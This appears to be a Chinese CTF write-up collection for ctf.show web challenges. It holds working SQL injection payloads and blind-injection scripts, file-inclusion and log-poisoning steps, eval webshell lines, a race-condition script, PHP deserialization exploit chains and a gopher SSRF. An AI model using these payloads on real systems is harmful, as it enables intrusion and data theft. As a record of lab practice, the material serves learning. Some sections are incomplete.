# web

# web 签到题

image-20230407220424812

base64

# web2

是 sql 注入,但是没有回显,搞得挺恶心的,上 sqlmap 不知道为啥跑不出来

这个报错是没有一点显示的,搞得最开始我都没弄清单双引号

但本质上还是个简单的 sql 注入

username=a' or 1=1 #&password=a

有显示

image-20230407222706982

order by 查到是 3,联合注入

username=a' union select 1,database(),3#&password=a

要注意的是,这里的回显位是 2,必须把要查的东西放在第二位

显示 web2

爆库爆表爆值

username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="web2"#&password=a
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#&password=a
username=a' union select 1,group_concat(flag),3 from web2.flag#&password=a

得到 flag

# web3

有提示

image-20230412153140585

那就是伪协议文件包含了,而且没有什么过滤

?url=data://text/plain,<?=`cat ctf_go_go_go`;?>

显示出 flag

# web4

<?php include($_GET['url']);?>

文件包含考虑 php 伪协议,但是传值之后发现 error 报错,看了 wp 才知道又是日志包含

(看了一眼过滤 php 和 data)

改个 UA 再发包,写个一句话木马连蚁剑

# web5

if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }

ctype_alpha () 判断是否全字母,is_numeric () 判断是否全数字,简单的 md5 绕过

?v1=QNKCDZO&v2=240610708

# web6

唉,没有一点提示,过滤了 or 和空格。还把报错关了。试了一下才知道有三列,回显位在 2

password=2&username=-1'union/**/select/**/1,2,3#

然后就是最傻逼的拼命令

password=2&username=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
password=2&username=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
password=2&username=-1'union/**/select/**/1,group_concat(flag),3/**/from/**/web2.flag#

# web7

一样的

?id=-1/**/union/**/select/**/1,2,3
?id=-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#
?id=-1/**/union/**/select/**/1,database(),group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
?id=-1/**/union/**/select/**/1,database(),group_concat(flag)/**/from/**/web.flag#

# web8

-1/**/or/**/1=1/**/order/**/by/**/3 测出来有三段

但是禁用了 union 关键字,那就只能用盲注了

import requests
url = 'http://e3406b2c-d1a2-4d95-9939-2b3b5e00d525.challenge.ctf.show/'
s = requests.session()
flag = ""
for i in range(1, 80):
    for j in range(32, 128):
        payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#" % (
        str(i), str(j))
        test = s.get(url = url + '?id=0/**/or/**/' + payload).text
        if 'I asked nothing' in test:
            flag += chr(j)
            print(flag)
            break
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#" % (
        str(i), str(j))
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))

唉,phpmyadmin 真是傻逼,乱切换数据库。跑测试的时候弄了好久,还得是 Navicat

NP,启动!

# web9

呃呃,脑残是不。啥提示没有,试了个 ffifdyop 给我弹 flag 了,也不提示我 md5

# web10

点击取消弹出来个 index.phps,打开查看源码

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}
					 }
			}
    ?>

这里直接用的 strlen 来判断,那么双写就绕过不了了。还把 union select 禁用了,那 quine 注入也用不了

本来是想着使用堆叠注入。在后面堆叠插入一条新的数据。但由于使用的是 mysqli_query 函数,更没法堆叠注入。 堆叠注入要求使用mysqli_multi_query函数 ,只有这个函数能一次性执行多条语句

看似是没什么思路了,看了一下别人的 wp 才知道还有一种方法也能构造出多一条数据

GROUP BY 会根据每条 password 的值进行判断。如果结合 SUM 等函数,就可以做到让 password 相同的值所对应的其他列内容进行 SUM 等操作

至于 WITH ROLLUP,它是一种用于在 GROUP BY 子句中添加汇总行的选项。它会在结果中添加一个额外的行,该行包含了所有分组的聚合结果。同上,如果进行了 SUM 操作,就会把所有的值都 SUM 起来

例:

image-20230922095013228

select `password`,SUM(`username`) FROM users GROUP BY `password`

image-20230922095727165

而如果加上 rollup,就会多处一列,再次进行 SUM 的汇总操作

image-20230922095822472

而此时,password 这一栏会显示 NULL

这个题就是利用了这个点,产生了一条 password=Null 的数据。而这时在 POST 中传入 null 就可 echo 出 flag

再补充一下堆叠注入的办法吧,虽然在这题用不了,但谁知道以后呢。只适用于 mysqli_multi_query

使用多条 sql 语句,并用;分割执行。本质上是堆叠 + 二次注入

payload:

1;;INSERT INTO `user`.`users` (`password`, `username`) VALUES ('test', 'test');;UPDATE users SET password = 'done';UPDATE users SET username = 'done';

这样一来就把所有的用户名和对应的密码都设置为 done 了

# wb11

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>

这题也是出的云里雾里的,跟数据库一点关系没有

$password 实际上是 get 传参进来的,和 session ['password'] 进行比较

如果两个都为空即可绕过

image-20230922131119973

删掉 password 的赋值和 Cookie

# web12

F12 给出 hit:?cmd=

尝试多次之后发现传入 phpinfo (); 可以成功回显,思路就是直接查文件。但是一看 phpinfo 里能用的函数基本全给我 ban 了,直接用命令的方法也不会是很 ok

这时候就要想到 php 原生类了。结合我之前做的笔记,直接 Globlterator+SplFileObject 开查

?cmd=$context = new SplFileObject('/var/www/html/903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');foreach($context as $f){
echo($f);
}

唉,看了别的师傅 wp,还有更简单的函数 highlight_file,直接秒了

?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php")

# 红包题第二弹

给 cmd 随便传了个东西就弹出源码

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

可见,能用的有 p = + ; . ? < > ` \

想不明白直接找资料

php 的上传接受 multipart/form-data,然后会将它保存在临时文件中。php.ini 中设置的 upload_tmp_dir 就是这个临时文件的保存目录。linux 下默认为 /tmp 。也就是说,只要是 php 接收到上传的 POST 请求,就会保存一个临时文件,如何这个 php 脚本具有 “上传功能” 那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个 php 临时文件在 linux 系统下的命名规则永远是 phpXXXXXX

基本思路就是上传,然后用 eval+`+?+. 去模糊匹配执行(.=source,source 一个文件相当于把每行的命令依次执行一次)

image-20230922204150800

那就是要先完成文件上传,直接让 chatgpt 给就行

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传示例</title>
</head>
<body>
    <h1>文件上传示例</h1>
    <input type="file" id="fileInput" accept=".jpg, .jpeg, .png, .gif">
    <button type="button" onclick="uploadFile()">上传文件</button>
    <div id="response"></div>
    <script>
    function uploadFile() {
        const fileInput = document.getElementById('fileInput');
        const responseDiv = document.getElementById('response');
        if (fileInput.files.length === 0) {
            alert('请选择一个文件');
            return;
        }
        const file = fileInput.files[0];
        const formData = new FormData();
        formData.append('file', file);
        fetch('https://your-upload-url.com', {
            method: 'POST',
            body: formData
        })
        .then(response => {
            if (response.ok) {
                return response.text();
            } else {
                throw new Error('文件上传失败');
            }
        })
    }
    </script>
</body>
</html>

这时候直接向 /index.php?cmd=?><?=`.+/??p/p?p??????`; 上传 test.txt,内容是

#! /bin/bash
cat /flag.txt

就可以弹出 flag

image-20230922211835007

# web13

唉,也是脑残。源码在 upload.php.bak

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}
 ?>

要求文件名中没有 php 而且后缀名小于等于 3

那基本所有能直接使用的 php 页面都传不上去了

而且要文件大小 <=24,那就只能这么写了 <?php eval($_POST['a']);

又不能上传.htaccess 来解析绕过

对于 php 中的.user.ini 有如下解释:

PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini 中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini 中输入 auto_prepend_file =a.txt ,这样在该目录下的所有文件都会包含 a.txt 的内容

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

所以上传之后要等一会才能重新发

# web14

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

都忘了,如果 switch case 不加 break 会一直顺序执行,所以传了

?c=3

之后就会一直执行到 echo "$url";

进入下一个网页 F12 有提示

if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}

试了一下发现是 int 注入,直接 order by 查只有一列,当前数据库为 web。而且 ban 了 information_schema.tables。

可以用 `information_schema`.`tables` 代替 information_schema.tables

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/`information_schema`.`tables`/**/where/**/`table_schema`='web'%23
=>alert('content')
?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/`information_schema`.`columns`/**/where/**/`table_name`='content'%23
=>alert('id,username,password')
?query=-1/**/union/**/select/**/group_concat(id,';',username,';',password)/**/from/**/content%23
=>alert('1;admin;flag is not here!,2;gtf1y;wow,you can really dance,3;Wow;tell you a secret,secret has a secret...')

好吧,并没有 flag,那就直接试一下 load_file 读取本地文件

?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")%23
=>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

看一下代码可以再读一下 /real_flag_is_here

?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")%23
=>alert('ctfshow{8eb644ba-4766-41b1-a638-34e2fe5f5312}')

或者从代码里可以看出来要判断 $file 中是否存在 "ctf.show" 字符串,也可以通过 into outfile 函数写文件到 /tmp/gtf1y 中

?query=-1/**/union/**/select/**/"ctf.show"/**/into/**/outfile("/tmp/gtf1y")%23

然后直接访问 secret.php,也能弹出 flag

# 红包题第六弹

扫目录有 web.zip 泄露,对页面审计发现有主要函数

function ctfshow(token,data){
			var oReq = new XMLHttpRequest();
			oReq.open("POST", "check.php?token="+token+"&php://input", true);
			oReq.onload = function (oEvent) {
				if(oReq.status===200){
						var res=eval("("+oReq.response+")");
						if(res.success ==1 &&res.error!=1){
							alert(res.msg);
							return;
						}
						if(res.error ==1){
							alert(res.errormsg);
							return;
						}
				}
				return;
			};
			oReq.send(data);
		}

结合 web.zip 中的 check.php

function receiveStreamFile($receiveFile){
 
    $streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
 
    if(empty($streamData)){
        $streamData = file_get_contents('php://input');
    }
 
    if($streamData!=''){
        $ret = file_put_contents($receiveFile, $streamData, true);
    }else{
        $ret = false;
    }
    return $ret;
}
if(md5(date("i")) === $token){
	
	$receiveFile = 'flag.dat';
	receiveStreamFile($receiveFile);
	if(md5_file($receiveFile)===md5_file("key.dat")){
		if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
			$ret['success']="1";
			$ret['msg']="人脸识别成功!$flag";
			$ret['error']="0";
			echo json_encode($ret);
			return;
		}
			$ret['errormsg']="same file";
			echo json_encode($ret);
			return;
	}
			$ret['errormsg']="md5 error";
			echo json_encode($ret);
			return;
} 
$ret['errormsg']="token error";
echo json_encode($ret);
return;

随便传个东西过去发现直接报 md5 error,就是 md5 校验那里没过,再跟踪一下 receiveStreamFile 函数看一下他在做什么

$streamData 从 php://input 里接收数据流,然后通过 file_put_contents 写入到 $receiveFile 中

遇到了挺多次的小点,记录一下为什么 php://input 传不进去文件的问题

php://input 可以访问请求的原始数据的只读流,在 POST 请求中访问 POST 的 data 部分,在 enctype="multipart/form-data" 的时候 php://input 是无效的。

而 $receiveFile 已经写死是 flag.dat,那唯一可控的就是传输过去的数据流

可以直接把 key.dat 下下来,就可以得到目标文件的 data,现在就需要想怎么把本地的 key.dat 传到服务器里

那就可以本地给个上传前端(红包题第二弹),然后在 bp 里稍微改一下 data 就能绕过 md5

image-20230923194044472

还要把文件尾的回车删掉,这时就能弹出 same file 的报错。这说明 md5 相等而且 sha512 也相等

这个时候看了网上大部分 wp,都说是 md5 碰撞,但其实不是的。这是条件竞争

两个 if 判断中必然会有时间差,要利用这个时间差把 flag.dat 再次替换一遍,才可以做到绕过 sha512

如果单纯利用 fastcoll,是碰撞不出来和 key.dat 有相同 md5 的文件,这也是我看了很久想不明白的点

而条件竞争通常需要 python 的多线程操作。这里有特殊字符,bp 经常会自动给你加 payload 导致和源文件不一致,所以使用 python 的 thread 模块

import threading
import requests
url = "http://d6d06d87-f806-48a0-a282-a653e47e9fb6.challenge.ctf.show/check.php?token=70efdf2ec9b086079795c442636b55fb&php://input"
def POST(data):
    try:
        r = requests.post(url,data = data)
        print(r.text)
        pass
    except  Exception as e:
        print(e)
        pass
    pass
with open('key.dat','rb') as k:
    data = k.read()
    pass
for i in range(500):
    threading.Thread(target = POST,args = (data,)).start()
    threading.Thread(target = POST,args = ("test",)).start()

image-20230923222239758

# 红包题第七弹

咋一看没东西,扫网发现有 git 泄露

用 githack 失败了,那就换用 Git_Extract,把 git 扒下来,发现有 backdoor.php 的后门一句话木马

@eval($_POST['Letmein']);

直接进去打,但是禁用的函数太多,没法 rce。先连个蚁剑找到 flag 在 /var/www 下

可以直接用 highlight_file 显示出来

# 萌新专属红包题

唉,最低能的弱口令。得找个时间把字典好好整理一下了

u=admin&p=admin888

# CTFshow web1

扫网发现 www.zip,打开发现连了 web15 的数据库,函数大概是全禁了

if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username))

里边有个 user_main.php,但是并不会直接给你放出 pwd

image-20230924173415512

注意得到,执行的 sql 语句是 select * from user order by $order ,而 order 是可以操控的位置,当使用 pwd 的时候,就会使用 pwd 来排序。如果密码排序 > flag,排序就会靠上。这个时候就得考虑盲注了

这里给出二分法的 payload

import requests
regurl = "http://0d2d0247-36d5-4d3e-bb8f-98a64bc16ccd.challenge.ctf.show/reg.php"
queurl = "http://0d2d0247-36d5-4d3e-bb8f-98a64bc16ccd.challenge.ctf.show/user_main.php?order=pwd"
key = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
flag = "ctfshow{"
# 注册项目
for i in range(50):
    max = len(key)
    min = 0
    mid = (max + min) >> 1
    while mid < max:
        c = key[mid]
        print("now playload:", c)
        raw_data = {
            "username": flag + c,
            "email": "flag",
            "nickname": "flag",
            "password": flag + c,
        }
        s = requests.session()
        reg = s.post(url = regurl,
                     data = raw_data,
                     headers = {
                         "Cookie": "PHPSESSID=31f1f4341531ede15606ff7a99b5ec08"
                     })
        que = requests.get(url = queurl, headers = {
            "Cookie": "PHPSESSID=31f1f4341531ede15606ff7a99b5ec08"
        })
        p_t = que.text.index(flag + c)
        p_flag = que.text.index("flag_is_my_password")
        if p_t > p_flag:
            max = mid
        else:
            min = mid + 1
        mid = (min + max) >> 1
    flag = flag + key[mid - 1]
    print("-----------------------")
    print(flag)

由于很多 <> 等特殊符号被禁用了,所以直接指定 key。而且 mysql 排序并不是按 ascii 码排序。当字母不同,按字母表顺序排列;当同字母,先小写后大写

# game-gyctf web2

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        // 这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);// 危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        // 还没来得及写
    }
}

这题涉及到了反序列化字符串逃逸。

PHP 在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串

把 www.zip 扒下来,看得到只有 $_SESSION['login']===1 的时候才能弹出 flag

但是只有 User::login () 中才会对 $_SESSION['login'] 进行赋值

而赋值的条件得是 token=admin 或者 password = 数据库中 password

通过分析可知,User::login () 其实就是写死了 dbCtl::login () 的查询语句,但是我们可以通过链子自己构造 sql 语句

UpdateHelper::__destruct()->User::__toString->Info::__Call->dbCtrl::login()

这样如果第一次打通了,会触发 $_SESSION['token']="admin"

第二次再次登陆的时候,会直接判断 dbCtrl

if ($this->token=='admin') {
    return $idResult;
}

然后就可以绕过密码的验证

唯一的问题就是 Info 在构造的时候并不会构造 $CtrlCase,导致无法进__call 函数

但是 safe 函数可以帮助绕过该限制(字符串逃逸漏洞)

尝试传 age=1&nickname=2

传出的反序列化字符串为

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}

说明可控的只有 age 和 nickname 两个字段,最后的 CtrlCase 无法传入。但是由于 safe 的函数的出现,使得逃逸成为了可能

当传入 age=1&nickname=union

传出的反序列化字符串变成了

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:5:"hacker";s:8:"CtrlCase";N;}

这样 s:8:"nickname";s:5:"hacker" 就出错了,因为其中的 s:5 仅与传入的 nickname 的值的长度有关,而 hacker 是 6 位。这是因为 safe 函数会把一些单词替换

那就可以自行构造一个序列化字符串进去,强行把后面的 CtrlCase 构造出来

<?php
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User{
    public $nickname;
    public $age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
    public function __construct(){
        $this->nickname = new Info();
    }
}
class Info{
    public $CtrlCase;
    public function __construct(){
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper{
    public $sql;
    public function __destruct()
    {
        echo $this->sql;
    }
    public function __construct(){
        $this->sql = new User();
    }
}
class dbCtrl{
    public $name = "admin";
    public $password = '1';
}
$u = new UpdateHelper();
$len = strlen('";s:8:"CtrlCase";'.serialize($u).'}');
$payload = str_repeat('union', $len).'";s:8:"CtrlCase";'.serialize($u).'}';
echo $payload;

这样就构造出了 payload,把 payload 作为 nickname 传入

由于 safe 会把 union 修改为 hacker(字符数 + 1),只要我们传入一定长度的 union,就可以让 s:8:"nickname";s:1920: 其中的 s:1920 全部变成 hacker,从而使后面我们自行构造的 CtrlCase 逃出

当我们传入的 sql 语句 select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=? 不管 username 是什么,始终返回 1,c4ca4238a0b923820dcc509a6f75849b

而在传入 payload 的时候就指定 public $password = '1' ,就可以通过 if (md5($this->password)!==$passwordResult) 这条语句成功赋值 session

在最后添加一个} 来提前结束反序列化,由于反序列化的特性,成功后将忽略后面多余的字符串

image-20231015223831637

打进去之后我们的 $_SESSION ['token']=admin,再次访问 login 就能通过验证弹出 flag

# Fishman

这题有一个注入点可以打

但是有个 waf,会遍历所有 get,post,cookie 参数,在黑名单两侧加上 @从而阻止注入

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

但在 member.php 中有一条 json_decode 操作,而 json_decode 会将传入的 unicode 自动解码,这就提供了条件

if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }

可以从返回的 setcookie 来判断是否成功,给个 poc 进行验证

<?php
require_once "include/safe.php";
var_dump($_COOKIE['test']);
$login_data = json_decode($_COOKIE['test'], true);
var_dump($login_data);

image-20231125144412967

而 member.php 必须从 common.php 里打,所以就有 exp

<!--swig0-->

# 红包题第九弹

登陆发现除了传 username 之外还有个 returl 参数,把 returl 的值改为 http://baidu.com 直接回显了百度的页面,可能是 ssrf

猜测是使用了 include 远程包含或者 curl 函数,题目给了 hint 是跟 mysql 有关,那就大概是 curl

curl 也没法用 file 函数,换用 gopher,hint 给出 mysql 无密码,端口 3306

python2 gopherus.py --exploit mysql

往本地写文件

image-20231125225547960

把 payload urlencode 一下传进去成功写入 tt.php 文件中了,蚁剑直接打就行

# 红包题 葵花宝典

本来以为考的是 PDO 的 sql 注入,但是用的不是 gbk,没法宽字节

注册 + 登陆就出 flag

# 红包题 辟邪剑谱

mysql 有个特性,当模式设置为非严格的时候,如果插入的值比列设置的值长,会自动截取一部分

比如插入 admin + 空格 x300,如果列设置的是 VARCHAR (255),mysql 会自动截取到合适的位置 =>admin

login.php 写死了查询的用户为 admin

$data=$db->select("admin",["username","password"],["username[=]"=>"admin"]);
foreach($data as $d){
	
	if ($d['password']===$user_password){
		$_SESSION['user']=$user_name;
		die("login success!<br><hr>flag is $flag");
	}
}

所以只能通过注册来覆盖这个原来的 admin

$user_name=trim($_POST['user_name']);
$user_password=trim($_POST['user_password']);
$data=$db->select("admin",["username","password"],["username[=]"=>$user_name]);
if(count($data)>0){
	die("username in use!");
}
if($user_name==="admin"){
	die("you are not admin!");
}
if(preg_match("/select|update|drop|union|and|or|sys|substr|sleep|from|where|0x|hex|bin|char|file|order|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\[|\}|\]|\;|\:|\'|\"|\<|\,|\>|\.|\?/i",$user_name)){
	die("stop hack!");
}
$data = $db->insert('admin',["username"=>"$user_name","password"=>"$user_password"]);

由于 trim 函数的处理,所有开头 / 结尾的特殊符号都会被删去,所以只能构造 admin + 空格 x300+1 来打

user_name=admin                                                                                                                                                                                                                                                                         1&user_password=1

成功注册然后登陆

# 【nl】难了

>nl

# 一切看起来都那么合情合理

session 的反序列化攻击

ini_set('session.serialize_handler', 'php');

在这里的时候会进行一次反序列化

然后再了解一下序列化处理器

处理器名称 存储格式
php 键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php_serialize 经过 serialize () 函数序列化处理的数组

上述三种处理器中, php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 phpphp_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符 ( |! ) 。

# php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];

image-20231127134447028

结果为 session|s:4:"test";

session$_SESSION['session'] 的键名, | 后为传入 GET 参数经过序列化后的值

# php_binary

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsessionsession'] = $_GET['sessionsessionsessionsessionsessionsession'];

image-20231127134749768

结果为 *sessionsessionsessionsessionsessionsessions:4:"test";

* 为键名长度对应的 ASCII 的值, sessionsessionsessionsessionsessionsession 为键名, s:4:"test"; 为传入 GET 参数经过序列化后的值

# php_serialize

<?php
var_dump(sys_get_temp_dir());
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_save_path("D:\\server\\tmp");
session_start();
$_SESSION['session'] = $_GET['session'];

image-20231127135048253

结果为 a:1:{s:7:"session";s:4:"test";}

单纯的反序列化

https://xz.aliyun.com/t/6640#toc-5

但指定解析器为 php 时,可以人为添加一个 | ,然后跟需要反序列化的内容。从而指定序列化

class User{
    public $username;
    public $password;
    public $status;
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

一眼写文件,指定 username=test.phppassword=<?php eval($_POST['shell']);?> ,然后把序列化出来的内容加个 | 然后 base64 传入就行

payload

|O:4:"User":3:{s:8:"username";s:8:"test.php";s:8:"password";s:30:"<?php eval($_POST["shell"]);?>";s:6:"status";N;}
base64:
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo4OiJ0ZXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgZXZhbCgkX1BPU1RbInNoZWxsIl0pOz8+IjtzOjY6InN0YXR1cyI7Tjt9
urlencode:
%66%45%38%36%4e%44%6f%69%56%58%4e%6c%63%69%49%36%4d%7a%70%37%63%7a%6f%34%4f%69%4a%31%63%32%56%79%62%6d%46%74%5a%53%49%37%63%7a%6f%34%4f%69%4a%30%5a%58%4e%30%4c%6e%42%6f%63%43%49%37%63%7a%6f%34%4f%69%4a%77%59%58%4e%7a%64%32%39%79%5a%43%49%37%63%7a%6f%7a%4d%44%6f%69%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%49%6e%4e%6f%5a%57%78%73%49%6c%30%70%4f%7a%38%2b%49%6a%74%7a%4f%6a%59%36%49%6e%4e%30%59%58%52%31%63%79%49%37%54%6a%74%39

先访问 index.php,在服务器上存个 session,然后带着修改后的 payload 再访问 index.php

此时会进入这层判断

